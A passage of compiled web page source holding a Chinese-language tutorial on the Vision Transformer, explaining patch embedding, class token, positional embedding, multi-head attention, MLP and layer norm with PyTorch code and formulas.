(224^2)/(16^2)=196\n Patch dim -> 16*16*3 =768\n Patch Embedding: [224,224,3] -> [196,768]\n Linear Proj: [196,768] -> [196,768]\n \tPositional Embedding: [197,768] -> [196,768]\n """\n def __init__(self, img_size=224, patch_size=16, in_c=3, embed_dim=768, norm_layer=None):\n """\n Args:\n img_size: \u9ed8\u8ba4\u53c2\u6570224\n patch_size: \u9ed8\u8ba4\u53c2\u6570\u662f16\n in_c: \u8f93\u5165\u7684\u901a\u9053\u6570\n embed_dim: 16*16*3 = 768\n norm_layer: \u662f\u5426\u4f7f\u7528norm\u5c42\uff0c\u9ed8\u8ba4\u4e3a\u5426\n """\n super().__init__()\n img_size = (img_size, img_size) # -> img_size = (224,224)\n patch_size = (patch_size, patch_size) # -> patch_size = (16,16)\n self.img_size = img_size # -> (224,224)\n self.patch_size = patch_size # -> (16,16)\n self.grid_size = (img_size[0] // patch_size[0], img_size[1] // patch_size[1]) # -> grid_size = (14,14)\n self.num_patches = self.grid_size[0] * self.grid_size[1] # -> num_patches = 196\n # Patch+linear proj\u7684\u8fd9\u4e2a\u64cd\u4f5c [224,224,3] --\x3e [14,14,768]\n self.proj = nn.Conv2d(in_c, embed_dim, kernel_size=patch_size, stride=patch_size)\n # \u5224\u65ad\u662f\u5426\u6709norm_layer\u5c42\uff0c\u8981\u662f\u6ca1\u6709\u4e0d\u6539\u53d8\u8f93\u5165\n self.norm = norm_layer(embed_dim) if norm_layer else nn.Identity()\n\n def forward(self, x):\n # \u8ba1\u7b97\u5404\u4e2a\u7ef4\u5ea6\u7684\u5927\u5c0f\n B, C, H, W = x.shape\n assert H == self.img_size[0] and W == self.img_size[1], \\\n f"Input image size ({H}*{W}) doesn\'t match model ({self.img_size[0]}*{self.img_size[1]})."\n \n # flatten: [B, C, H, W] -> [B, C, HW], flatten(2)\u4ee3\u8868\u7684\u662f\u4ece2\u4f4d\u7f6e\u5f00\u59cb\u5c55\u5f00\n # eg: [1,3,224,224] --\x3e [1,768,14,14] -flatten->[1,768,196]\n # transpose: [B, C, HW] -> [B, HW, C]\n # eg: [1,768,196] -transpose-> [1,196,768]\n x = self.proj(x).flatten(2).transpose(1, 2)\n x = self.norm(x)\n return x\n'})}),"\n",(0,i.jsxs)(n.p,{children:["**\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\uff0c\u8fd9\u4e00\u6b65\u662f\u4e0d\u8fdb\u884c ",(0,i.jsx)(n.code,{children:"layer_norm"})," \u64cd\u4f5c\u7684\uff0c\u5373\u5b83\u88ab\u8bbe\u7f6e\u4e3a ",(0,i.jsx)(n.code,{children:"nn.Identity()"}),"\u3002\u5bf9\u4e8e ",(0,i.jsx)(n.code,{children:"layer_norm"}),"\uff0c\u6211\u4eec\u4f1a\u5728\u4e0b\u9762\u8fdb\u884c\u8be6\u7ec6\u7684\u8bb2\u89e3\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f-class-token--postional-embedding",children:"\u5206\u7c7b\u8868\u5f81\u548c\u4f4d\u7f6e\u4fe1\u606f Class Token + Postional Embedding"}),"\n",(0,i.jsxs)(n.p,{children:["\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u5de6\u4fa7\u7070\u8272\u90e8\u5206\u4e3a\u52a0\u5165\u5206\u7c7b\u8868\u5f81\uff0c\u4e2d\u95f4\u7d2b\u8272\u90e8\u5206\u4e3a\u52a0\u5165\u4f4d\u7f6e\u4fe1\u606f\u3002\n",(0,i.jsx)(n.img,{alt:"\u56fe\u6e90amaarora",src:s(87162).A+"",width:"6020",height:"1343"})]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"\u5206\u7c7b\u8868\u5f81\uff1aClass Token"}),"\n\u4e3a\u4e86\u5b9e\u73b0\u56fe\u50cf\u5206\u7c7b\uff0c\u6211\u4eec\u5728\u5207\u5206\u548c\u6620\u5c04\u540e\u7684\u5411\u91cf $[\\mathbf{x}_p^1\\mathbf{E}; \\mathbf{x}",(0,i.jsxs)(n.em,{children:["p^2\\mathbf{E}; \\cdots; \\mathbf{x}",(0,i.jsxs)(n.em,{children:["p^N\\mathbf{E}]$ \u4e2d\u52a0\u5165\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"class token"})," $\\mathbf{x}"]}),"\\text{class} \\in \\mathbb{R}^{D}$ \u4f5c\u4e3a\u5206\u7c7b\u8868\u5f81\uff08\u5982\u4e0a\u56fe\u4e2d\u6700\u5de6\u4fa7\u6df1\u7070\u8272\u6846\u6240\u793a\uff09\u3002\u5c06\u8fd9\u4e2a\u8868\u5f81\u653e\u7f6e\u5728\u5e8f\u5217\u7684\u7b2c\u4e00\u4e2a\u4f4d\u7f6e\u4e0a\uff0c\u6211\u4eec\u5c31\u5f97\u5230\u4e00\u4e2a\u7ef4\u5ea6\u4e3a $(196+1) \\times 768$ \u7684\u65b0\u5f20\u91cf\uff1a\n$$\n\\begin{align}\n[\\mathbf{x}"]}),"{\\text{class}}; \\mathbf{x}_p^1\\mathbf{E}; \\mathbf{x}_p^2\\mathbf{E}; \\cdots; \\mathbf{x}_p^N\\mathbf{E}]\n\\end{align}\n$$\n\u5bf9\u4e8e\u5177\u4f53\u7684\u4ee3\u7801\u5b9e\u73b0\uff0c\u6211\u4eec\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"nn.Parameter(torch.zeros(1, 1, 768))"})," \u5b9e\u4f8b\u5316\u4e00\u4e2a\u53ef\u5b66\u4e60\u7684 ",(0,i.jsx)(n.code,{children:"cls_token"}),"\uff0c\u7136\u540e\u5c06\u8fd9\u4e2a ",(0,i.jsx)(n.code,{children:"cls_token"})," \u6309\u7167 ",(0,i.jsx)(n.code,{children:"batch_size = x.shape[0]"})," \u8fdb\u884c\u590d\u5236\uff0c\u6700\u540e\u5c06\u5176\u548c\u4e4b\u524d\u7ecf\u8fc7\u5207\u5206\u548c\u6620\u5c04\u7684 ",(0,i.jsx)(n.code,{children:"x"})," \u5e76\u5728\u4e00\u8d77 ",(0,i.jsx)(n.code,{children:" torch.cat((cls_token, x), dim=1)"}),"\u3002\u5176\u5b8c\u6574\u4ee3\u7801\uff0c\u5982\u4e0b\u6240\u793a\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"cls_token = nn.Parameter(torch.zeros(1, 1, 768)) # -> cls token\nnn.init.trunc_normal_(self.cls_token, std=0.02) # \u521d\u59cb\u5316\ncls_token = cls_token.expand(x.shape[0], -1, -1) # (1,1,768) -> (128,1,768)\nx = torch.cat((cls_token, x), dim=1) # [128, 197, 768]\n"})}),"\n",(0,i.jsxs)(n.p,{children:["**\u5176\u5b9e\u4e5f\u53ef\u4ee5\u4e0d\u52a0\u5165\u8fd9\u4e2a ",(0,i.jsx)(n.code,{children:"cls token"}),"\uff0c\u6211\u4eec\u53ef\u4ee5\u5bf9\u8f93\u51fa ",(0,i.jsx)(n.code,{children:"token"})," \u505a ",(0,i.jsx)(n.code,{children:"GAP(Global Average Pooling)"}),"\uff0c\u7136\u540e\u5bf9 ",(0,i.jsx)(n.code,{children:"GAP"})," \u7684\u7ed3\u679c\u8fdb\u884c\u5206\u7c7b\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:[(0,i.jsx)(n.strong,{children:"\u4f4d\u7f6e\u4fe1\u606f\uff1aPostional Embedding"}),"\n\u56fe\u50cf\u548c\u6587\u672c\u4e00\u6837\u4e5f\u9700\u8981\u6ce8\u610f\u987a\u5e8f\u95ee\u9898\uff0c\u56e0\u6b64\u4f5c\u8005\u901a\u8fc7 ",(0,i.jsx)(n.code,{children:"Position Embedding"})," $\\mathbf{E}_{\\text{pos}}\\in\\mathbb{R}^{(N + 1)\\times D}$ \u52a0\u5165\u4f4d\u7f6e\u7f16\u7801\u4fe1\u606f\u3002\u8fd9\u4e2a ",(0,i.jsx)(n.code,{children:"Position Embedding"})," \u548c\u4e0a\u9762\u5f97\u5230\u7684\u5206\u7c7b\u8868\u5f81\u5f20\u91cf\uff0c\u76f4\u63a5\u76f8\u52a0\uff1a\n$$\n\\begin{align}\n\\mathbf{z}",(0,i.jsx)(n.em,{children:"0 &= [\\mathbf{x}"}),"{\\text{class}}; \\mathbf{x}_p^1\\mathbf{E}; \\mathbf{x}",(0,i.jsxs)(n.em,{children:["p^2\\mathbf{E}; \\cdots; \\mathbf{x}",(0,i.jsx)(n.em,{children:"p^N\\mathbf{E};] + \\mathbf{E}"}),"{\\text{pos}}, & \\mathbf{E}&\\in\\mathbb{R}^{(P^2\\cdot C)\\times D}, \\mathbf{E}"]}),"{\\text{pos}}\\in\\mathbb{R}^{(N + 1)\\times D}\n\\end{align}\n$$"]}),"\n",(0,i.jsxs)(n.p,{children:["\u4e0e Transformer \u4f7f\u7528\u4f59\u5f26\u4f4d\u7f6e\u7f16\u7801\u4e0d\u540c\u7684\u662f\uff0cViT \u901a\u8fc7",(0,i.jsx)(n.code,{children:"nn.Parameter()"}),"\u5b9e\u73b0\u4e86\u4e00\u4e2a\u53ef\u4ee5\u5b66\u4e60\u7684\u4f4d\u7f6e\u7f16\u7801\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"num_patches = 196\npos_embed = nn.Parameter(torch.zeros(1, num_patches + 1, 768))\nx = x + pos_embed\n"})}),"\n",(0,i.jsxs)(n.p,{children:["**\u8fd9\u91cc ",(0,i.jsx)(n.code,{children:"pos_embed"})," \u5728 ",(0,i.jsx)(n.code,{children:"batch_size"})," \u7684\u7ef4\u5ea6\u8fdb\u884c\u4e86 boardcast\uff0c\u6240\u4ee5\u6240\u6709\u7684\u6837\u672c\u90fd\u662f\u540c\u6837\u7684 ",(0,i.jsx)(n.code,{children:"pos_embed"}),"\u3002"]}),"\n",(0,i.jsx)(n.h2,{id:"transformer-encoder",children:"Transformer Encoder"}),"\n",(0,i.jsxs)(n.p,{children:["\u4e0b\u4e00\u6b65\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5c06\u5e8f\u5217 $\\mathbf{z}",(0,i.jsxs)(n.em,{children:["0$ \u8f93\u5165 Transformer Encoder \u5373\u53ef\u3002\u5982\u4e0b\u56fe\u6240\u793a\uff0c\u6bcf\u4e2a Transformer Encoder \u7531 Multi-head Attention\u3001MLP\u3001Norm (Layer Norm,LN) \u5e76\u5916\u52a0 shortcut \u8fde\u63a5\u5b9e\u73b0\u3002\n$$\n\\begin{align}\n\\mathbf{z}'",(0,i.jsx)(n.em,{children:"l &= \\text{MSA}(\\text{LN}(\\mathbf{z}"}),"{l-1})) + \\mathbf{z}"]}),"{l-1}, & l &=1\\dots L, \\\n\\mathbf{z}_l &= \\text{MLP}(\\text{LN}(\\mathbf{z}'_l)) + \\mathbf{z}'_l, & l &=1\\dots L, \\\n\\mathbf{y} &= \\text{LN}(\\mathbf{z}_L^0)\n\\end{align}\n$$"]}),"\n",(0,i.jsxs)(n.center,{children:["\n",(0,i.jsxs)(n.figure,{children:["\n",(0,i.jsx)(n.img,{src:"figures/vit_transformer.png",",":"",style:{zoom:"37%"}}),"\n"]}),"\n"]}),"\n\u4e0b\u9762\u6211\u4eec\u5c06\u5bf9\u8fd9\u4e9b\u6a21\u5757\u9010\u4e00\u8fdb\u884c\u8bb2\u89e3\u3002\n",(0,i.jsx)(n.h3,{id:"multi-head-attention",children:"Multi-head Attention"}),"\n",(0,i.jsx)(n.p,{children:"Multi-head Attention \u6216\u8005\u53eb\u505a Multi-head Self-Attention (MSA) \u662f\u7531\u591a\u4e2a Self-attention (SA) \u6a21\u5757\u7ec4\u6210\uff0c\u5b83\u4eec\u7684\u6846\u56fe\u53ef\u7531\u4e0b\u9762\u6240\u793a\uff0c\u5176\u4e2d\u5de6\u4fa7\u4e3a SA\uff0c\u53f3\u4fa7\u4e3a MSA\u3002"}),"\n",(0,i.jsxs)(n.center,{children:["\n",(0,i.jsxs)(n.figure,{children:["\n",(0,i.jsx)(n.img,{src:"figures/vit_sa.png",",":"",style:{zoom:"37%"}}),"\n\xb7\n\xb7\n\xb7\n\xb7\n\xb7\n\xb7\n",(0,i.jsx)(n.img,{src:"figures/vit_msa.png",",":"",style:{zoom:"30%"}}),"\n"]}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5bf9\u4e8e\u4e00\u4e2a\u6807\u51c6\u7684 SA \u6a21\u5757\uff0c\u6211\u4eec\u901a\u8fc7\u5bf9\u8f93\u5165\u5f20\u91cf $\\mathbf{z}$ \u8fdb\u884c\u4e00\u4e2a\u6620\u5c04 $\\mathbf{W_{SA}}$ \u5f97\u5230 $Q, K, V$\n$$\n[Q, K, V] = \\mathbf{z} \\mathbf{W}_{\\text{SA}}.\n$$\n\u5bf9\u4e8e MSA\uff0c\u6211\u4eec\u9700\u8981\u5bf9\u5176\u8f93\u5165\u518d\u6b21\u8fdb\u884c\u5207\u5206\u4e3a $k$ \u4e2a\u90e8\u5206 \uff08$k=$",(0,i.jsx)(n.code,{children:"self.num_heads"}),"\uff09\uff0c\u800c\u6bcf\u4e2a\u90e8\u5206\u7684\u7ef4\u5ea6\u4e3a\u539f\u672c\u7ef4\u5ea6\u7684 $k$ \u5206\u4e4b\u4e00\uff0c\u5373 ",(0,i.jsx)(n.code,{children:"C // self.num_heads"}),"\u3002\u7136\u540e\uff0c\u5c06\u7ef4\u5ea6\u8fdb\u884c\u8c03\u6574\uff0c\u5373 ",(0,i.jsx)(n.code,{children:"q, k, v"})," \u5230\u7b2c 1 \u4e2a\u7ef4\u5ea6\uff0c \u6279\u5927\u5c0f ",(0,i.jsx)(n.code,{children:"batch_size"})," \u4e3a\u7b2c 2 \u4e2a\u7ef4\u5ea6\uff0c\u5934\u7684\u6570\u91cf\u6570\u91cf ",(0,i.jsx)(n.code,{children:"num_heads"})," \u4e3a\u7b2c 3 \u4e2a\u7ef4\u5ea6\uff0c\u5207\u5206\u5757\u7684\u6570\u91cf ",(0,i.jsx)(n.code,{children:"num_patches"})," \u548c\u6bcf\u4e2a\u5934\u7684\u7279\u5f81\u7ef4\u5ea6 ",(0,i.jsx)(n.code,{children:"embed_dim_per_head"})," \u4e3a\u6700\u540e\u4e24\u4e2a\u7ef4\u5ea6\u3002\u8fd9\u79cd\u7ef4\u5ea6\u8c03\u6574\uff0c\u5c06\u65b9\u4fbf\u63d0\u53d6 ",(0,i.jsx)(n.code,{children:"q, k, v"}),"\uff0c\u4ee5\u53ca\u540e\u9762\u7684\u6ce8\u610f\u529b\u8ba1\u7b97\u3002\u4e0a\u8ff0\u6b65\u9aa4\u5728\u4ee3\u7801\u4e2d\u5bf9\u5e94\uff1a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)\nqkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)\nq, k, v = qkv[0], qkv[1], qkv[2] # seperate q, k, v\n"})}),"\n",(0,i.jsxs)(n.p,{children:["\u73b0\u5728\uff0c\u5982\u679c\u6211\u4eec\u5c06\u6bcf\u4e00\u4e2a ",(0,i.jsx)(n.code,{children:"head"}),"\uff0c\u770b\u4f5c\u4e00\u4e2a\u72ec\u7acb\u7684\u8ba1\u7b97\u5355\u5143\u3002\u6211\u4eec\u53ef\u4ee5\u5bf9\u6bcf\u4e00\u4e2a",(0,i.jsx)(n.code,{children:"head"})," \u8fdb\u884c\u6807\u51c6\u7684 SA \u8ba1\u7b97\n$$\nAttention(Q, K, V) = softmax(\\frac{Q K^T}{\\sqrt {D_k}}) \\cdot V\n$$\n\u7136\u540e\uff0c\u8fd9\u4e9b ",(0,i.jsx)(n.code,{children:"head"})," \u4f1a\u88ab\u62fc\u63a5\u5728\u4e00\u8d77\uff0c\u8ba1\u7b97\u6700\u7ec8\u7684\u8f93\u51fa\uff1a\n$$\n\\mathrm{MultiHead}(Q, K, V) = \\mathrm{Concat}(\\mathrm{head_1}, ...,\n\\mathrm{head_h})W^O \\\n\\text{where}~\\mathrm{head_i} = \\mathrm{Attention}(QW^Q_i, KW^K_i, VW^V_i)\n$$"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5176\u4e2d $W^O$ \u4ee3\u8868\u7684\u662f\u7ebf\u6027\u53d8\u6362\u5c42\uff0c$head_i$ \u4ee3\u8868\u7684\u662f\u6bcf\u4e2a ",(0,i.jsx)(n.code,{children:"head"})," \u7684\u8f93\u51fa\uff0c\u5176\u4e2d $W^Q_i$\uff0c$W^K_i$, $W^V_i$\uff0c\u7b49\u4ef7\u4e8e\u6bcf\u4e2a ",(0,i.jsx)(n.code,{children:"head"})," \u7684\u7ebf\u6027\u6620\u5c04\u6743\u91cd\uff08\u5982\u4e0a\u9762\u8ba1\u7b97 ",(0,i.jsx)(n.code,{children:"qkv"}),"\u6240\u8bb2\uff0c\u5b9e\u9645\u4ee3\u7801\u5b9e\u73b0\u4e2d\uff0c\u6211\u4eec\u4f1a\u5148\u4e00\u8d77\u8ba1\u7b97 ",(0,i.jsx)(n.code,{children:"qkv"}),"\uff0c\u518d\u8fdb\u884c ",(0,i.jsx)(n.code,{children:"head"})," \u7684\u5207\u5206\uff09\u3002\u5982\u679c\u6309\u7167\u9ed8\u8ba4\u5b9e\u73b0\uff0c\u4e00\u822c\u5207\u5206\u4e3a $k=8$ \u4e2a\u5934\uff0c\u5176\u4e2d $D_k=D/k = 768/8=96$\uff0c\u662f\u4e3a\u4e86\u5f52\u4e00\u5316\u70b9\u4e58\u7684\u7ed3\u679c\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5728\u4ee3\u7801\u5b9e\u73b0\u7684\u65f6\u5019\uff0c\u4f5c\u8005\u5145\u5206\u8003\u8651\u4e86\u591a\u5934\u7684\u5e76\u884c\u8ba1\u7b97\u3002\u901a\u8fc7\u70b9\u4e58\u7684\u5f62\u5f0f\u5bf9\u6240\u6709\u7684 ",(0,i.jsx)(n.code,{children:"head"})," \u4e00\u8d77\u8ba1\u7b97\u76f8\u5173\u6027 ",(0,i.jsx)(n.code,{children:"(q @ k.transpose(-2, -1))"}),"\uff0c\u7136\u540e\u7ecf\u8fc7 ",(0,i.jsx)(n.code,{children:"softmax"})," \u5f97\u5230\u6743\u91cd ",(0,i.jsx)(n.code,{children:"attn"})," \uff08\u8fd9\u4e9b\u6743\u91cd\u7684\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_heads, num_patches + 1, num_patches + 1]"}),"\uff09\u3002\n\u4e4b\u540e\u5c06\u8fd9\u4e9b\u6743\u91cd ",(0,i.jsx)(n.code,{children:"attn"})," \u548c ",(0,i.jsx)(n.code,{children:"v"})," \uff08\u5176\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_heads, num_patches+1, embed_dim_per_head]"}),"\uff09 \u8fdb\u884c\u70b9\u4e58\uff0c\u5f97\u5230\u6ce8\u610f\u529b\u7684\u8f93\u51fa\u7ed3\u679c\u3002\u8fd9\u91cc\u5728\u70b9\u4e58\u7684\u65f6\u5019\uff0c\u6211\u4eec\u53ea\u9700\u8981\u770b ",(0,i.jsx)(n.code,{children:"attn"})," \u548c ",(0,i.jsx)(n.code,{children:"v"}),"\u7684\u6700\u540e\u4e24\u4e2a\u7ef4\u5ea6\uff0c\u5206\u522b\u4e3a",(0,i.jsx)(n.code,{children:"[num_patches + 1, num_patches + 1]"})," \u548c ",(0,i.jsx)(n.code,{children:"[num_patches+1, embed_dim_per_head]"}),"\uff0c\u7ef4\u6301\u5176\u4ed6\u7ef4\u5ea6\u4e0d\u53d8\uff0c\u6211\u4eec\u53ef\u4ee5\u5f97\u5230\u8f93\u51fa\u7684\u7ed3\u679c\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_heads, num_patches + 1, embed_dim_per_head]"}),"\u3002\n\u6700\u540e\uff0c\u6211\u4eec\u901a\u8fc7\u5c06\u7279\u5f81\u7ef4\u5ea6\u548c\u591a\u5934\u7ef4\u5ea6\u4ea4\u6362 ",(0,i.jsx)(n.code,{children:"transpose(1, 2)"})," \u548c \u91cd\u7ec4\u7b2c2\u4e2a\u53ca\u540e\u9762\u6240\u6709\u7684\u7ef4\u5ea6 ",(0,i.jsx)(n.code,{children:"reshape(B, N, C)"}),"\uff0c\u5c31\u53ef\u4ee5\u5f97\u5230\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_patches + 1, total_embed_dim]"})," \u548c\u4e0a\u9762\u516c\u5f0f\u76f8\u540c\u7684\u5e76\u884c\u591a\u5934\u8ba1\u7b97\u7ed3\u679c\u3002\u5176\u5b8c\u6574\u5b9e\u73b0\u5982\u4e0b\u6240\u793a"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:"class Attention(nn.Module):\n def __init__(self,\n dim, # \u8f93\u5165token\u7684dim\n num_heads=8, # attention head\u7684\u4e2a\u6570\n qkv_bias=False, # \u662f\u5426\u4f7f\u7528qkv bias\n qk_scale=None,\n attn_drop_ratio=0.,\n proj_drop_ratio=0.):\n super(Attention, self).__init__()\n self.num_heads = num_heads\n # \u8ba1\u7b97\u6bcf\u4e00\u4e2ahead\u5904\u7406\u7684\u7ef4\u5ea6head_dim = dim // num_heads --\x3e 768/8 = 96\n head_dim = dim // num_heads\n self.scale = qk_scale or head_dim ** -0.5 # \u6839\u4e0bdk\u64cd\u4f5c\n # \u4f7f\u7528nn.Linear\u751f\u6210w_q,w_k,w_v\uff0c\u56e0\u4e3a\u672c\u8d28\u4e0a\u6bcf\u4e00\u4e2a\u53d8\u6362\u77e9\u9635\u90fd\u662f\u7ebf\u6027\u53d8\u6362\uff0c\n self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)\n self.attn_drop = nn.Dropout(attn_drop_ratio)\n self.proj = nn.Linear(dim, dim)\n self.proj_drop = nn.Dropout(proj_drop_ratio)\n\n def forward(self, x):\n # [batch_size, num_patches + 1, total_embed_dim]\n # total_embed_dim\u4e0d\u662f\u4e00\u5f00\u59cb\u5c55\u5f00\u7684\u90a3\u4e2a\u7ef4\u5ea6\uff0c\u662f\u7ecf\u8fc7\u4e86\u4e00\u4e2a\u7ebf\u6027\u53d8\u6362\u5c42\u5f97\u5230\u7684\n B, N, C = x.shape\n\n # [batch_size, num_patches+1, total_embed_dim] -qkv()-> [batch_size, num_patches + 1, 3 * total_embed_dim]\n # reshape: -> [batch_size, num_patches + 1, 3, num_heads, embed_dim_per_head]\n # permute: -> [3, batch_size, num_heads, num_patches + 1, embed_dim_per_head]\n qkv = self.qkv(x).reshape(B, N, 3, self.num_heads, C // self.num_heads).permute(2, 0, 3, 1, 4)\n # q,k,v = [batch_size, num_heads, num_patches + 1, embed_dim_per_head]\n q, k, v = qkv[0], qkv[1], qkv[2] # make torchscript happy (cannot use tensor as tuple)\n\n # transpose(-2,-1)\u5728\u6700\u540e\u4e24\u4e2a\u7ef4\u5ea6\u8fdb\u884c\u64cd\u4f5c\uff0c\u8f93\u5165\u7684\u5f62\u72b6[batch_size,num_heads,num_patches+1,embed_dim_per_head]\n # transpose: -> [batch_size, num_heads, embed_dim_per_head, num_patches + 1]\n # @: multiply -> [batch_size, num_heads, num_patches + 1, num_patches + 1]\n attn = (q @ k.transpose(-2, -1)) * self.scale\n attn = attn.softmax(dim=-1)\n attn = self.attn_drop(attn)\n\n # @: multiply -> [batch_size, num_heads, num_patches + 1, embed_dim_per_head]\n # transpose: -> [batch_size, num_patches + 1, num_heads, embed_dim_per_head]\n # reshape: -> [batch_size, num_patches + 1, total_embed_dim]\n x = (attn @ v).transpose(1, 2).reshape(B, N, C)\n x = self.proj(x)\n x = self.proj_drop(x)\n return x\n"})}),"\n",(0,i.jsx)(n.h3,{id:"mlp",children:"MLP"}),"\n",(0,i.jsx)(n.p,{children:"MLP\u5c42\u7c7b\u4f3c\u4e8e\u539f\u59cbTransformer\u4e2d\u7684Feed Forward Network\u3002"}),"\n",(0,i.jsxs)(n.blockquote,{children:["\n",(0,i.jsx)(n.p,{children:"In ViT, only MLP layers are local and translationally equivariant, while the self-attention layers are global."}),"\n"]}),"\n",(0,i.jsxs)(n.p,{children:["\u4e3a\u4e86\u7406\u89e3\u8fd9\u53e5\u8bdd\uff0c\u5373 MLP \u53ea\u5bf9\u5c40\u90e8\u4fe1\u606f\u8fdb\u884c\u64cd\u4f5c\uff0c\u6211\u4eec\u9700\u8981\u5f3a\u8c03 ",(0,i.jsx)(n.code,{children:"nn.Linear()"})," \u64cd\u4f5c\u53ea\u5bf9\u8f93\u5165\u5f20\u91cf\u7684\u6700\u540e\u4e00\u4e2a\u7ef4\u5ea6\u8fdb\u884c\u64cd\u4f5c\u3002\u90a3\u4e48\uff0c\u5bf9\u4e8e\u8f93\u5165\u7ef4\u5ea6\u4e3a ",(0,i.jsx)(n.code,{children:"[batch_size, num_patches + 1, total_embed_dim]"}),"\uff0c\u5b66\u4e60\u5230\u7684\u7ebf\u6027\u5c42\u5bf9\u4e8e\u6240\u6709 ",(0,i.jsx)(n.code,{children:"patch"})," \u90fd\u662f\u4e00\u6837\u7684\u3002\u6240\u4ee5\uff0c\u5b83\u662f\u4e00\u4e2a\u5c40\u90e8\u4fe1\u606f\u7684\u5efa\u6a21\u3002\u5bf9\u4e8e Attention\uff0c\u56e0\u4e3a\u5b83\u662f\u5728\u4e0d\u540c\u7684 ",(0,i.jsx)(n.code,{children:"patch"})," \u5c42\u9762\u6216\u8005\u4e0d\u540c\u7684\u5e8f\u5217\u5c42\u9762\u8fdb\u884c\u5efa\u6a21\uff0c\u6240\u4ee5\u662f\u5168\u5c40\u4fe1\u606f\u5efa\u6a21\u3002\u56e0\u6b64\uff0c\u4f5c\u8005\u4f7f\u7528\u4e86 MLP \u548c Attention \u4e00\u8d77\u8fdb\u884c\u5c40\u90e8\u548c\u5168\u5c40\u4fe1\u606f\u7684\u63d0\u53d6\u3002"]}),"\n",(0,i.jsx)(n.pre,{children:(0,i.jsx)(n.code,{className:"language-python",children:'class Mlp(nn.Module):\n """\n in_features --\x3e hidden_features --\x3e out_features\n \u8bba\u6587\u5b9e\u73b0\u65f6\uff1ain_features.shape = out_features.shape\n """\n def __init__(self, in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0.):\n super().__init__()\n # \u7528or\u5b9e\u73b0\u4e86\u6216\u64cd\u4f5c\uff0c\u5f53hidden_features/out_features\u4e3a\u9ed8\u8ba4\u503cNone\u65f6\n # \u6b64\u65f6out_features/hidden_features=None or in_features = in_features\n # \u5f53\u5bf9out_features\u6216hidden_features\u8fdb\u884c\u8f93\u5165\u65f6\uff0cor\u64cd\u4f5c\u5c06\u4f1a\u9ed8\u8ba4\u9009\u62e9or\u524d\u9762\u7684\n # \u6b64\u65f6out_features/hidden_features = out_features/hidden_features\n out_features = out_features or in_features\n hidden_features = hidden_features or in_features\n self.fc1 = nn.Linear(in_features, hidden_features)\n self.act = act_layer()\n self.fc2 = nn.Linear(hidden_features, out_features)\n self.drop = nn.Dropout(drop)\n\n def forward(self, x):\n # in_features --\x3e hidden_features --\x3e out_features\n x = self.fc1(x)\n x = self.act(x)\n x = self.drop(x)\n x = self.fc2(x)\n x = self.drop(x)\n return x\n'})}),"\n",(0,i.jsx)(n.h3,{id:"layer-norm",children:"Layer Norm"}),"\n",(0,i.jsx)(n.p,{children:"Normalization \u6709\u5f88\u591a\u79cd\uff0c\u4f46\u662f\u5b83\u4eec\u90fd\u6709\u4e00\u4e2a\u5171\u540c\u7684\u76ee\u7684\uff0c\u90a3\u5c31\u662f\u628a\u8f93\u5165\u8f6c\u5316\u6210\u5747\u503c\u4e3a 0 \u65b9\u5dee\u4e3a 1 \u7684\u6570\u636e\uff08\u6216\u8005\u67d0\u4e2a\u5b66\u4e60\u5230\u7684\u5747\u503c\u548c\u65b9\u5dee\uff09\u3002\u6211\u4eec\u5728\u628a\u6570\u636e\u9001\u5165\u6fc0\u6d3b\u51fd\u6570\u4e4b\u524d\u8fdb\u884c Normalization\uff08\u5f52\u4e00\u5316\uff09\uff0c\u56e0\u4e3a\u6211\u4eec\u4e0d\u5e0c\u671b\u8f93\u5165\u6570\u636e\u843d\u5728\u6fc0\u6d3b\u51fd\u6570\u7684\u9971\u548c\u533a\u3002"}),"\n",(0,i.jsxs)(n.p,{children:["Batch Norm \u7684\u4f5c\u7528\u662f\u5728\u5bf9\u8fd9\u6279\u6837\u672c\u7684\u540c\u4e00\u7ef4\u5ea6\u7279\u5f81\u505a\u5f52\u4e00\u5316\uff0c\u800c Layer Norm \u7684\u4f5c\u7528\u662f\u5bf9",(0,i.jsx)(n.strong,{children:"\u5355\u4e2a\u6837\u672c\u7684\u6240\u6709\u7ef4\u5ea6\u7279\u5f81\u505a\u5f52\u4e00\u5316"}),"\u3002\u4e3e\u4e00\u4e2a\u7b80\u5355\u7684\u4f8b\u5b50\uff0c\u5bf9\u4e8e\u901a\u8fc7\u7f16\u7801\u7684\u53e5\u5b50\u201c\u6211\u7231\u5b66\u4e60\u201d\uff0cBatch Norm \u662f\u5bf9\u8fd9\u56db\u4e2a\u5b57\u8fdb\u884c\u5f52\u4e00\u5316\uff0c\u800c Layer Norm \u662f\u5bf9\u6bcf\u4e2a\u5b57\u672c\u8eab\u7684\u7279\u5f81\u8fdb\u884c\u5f52\u4e00\u5316\u3002"]}),"\n",(0,i.jsxs)(n.p,{children:["\u5bf9\u4e8e Layer Norm\uff0c\u5176\u516c\u5f0f\u5982\u4e0b\u6240\u793a\n$$L 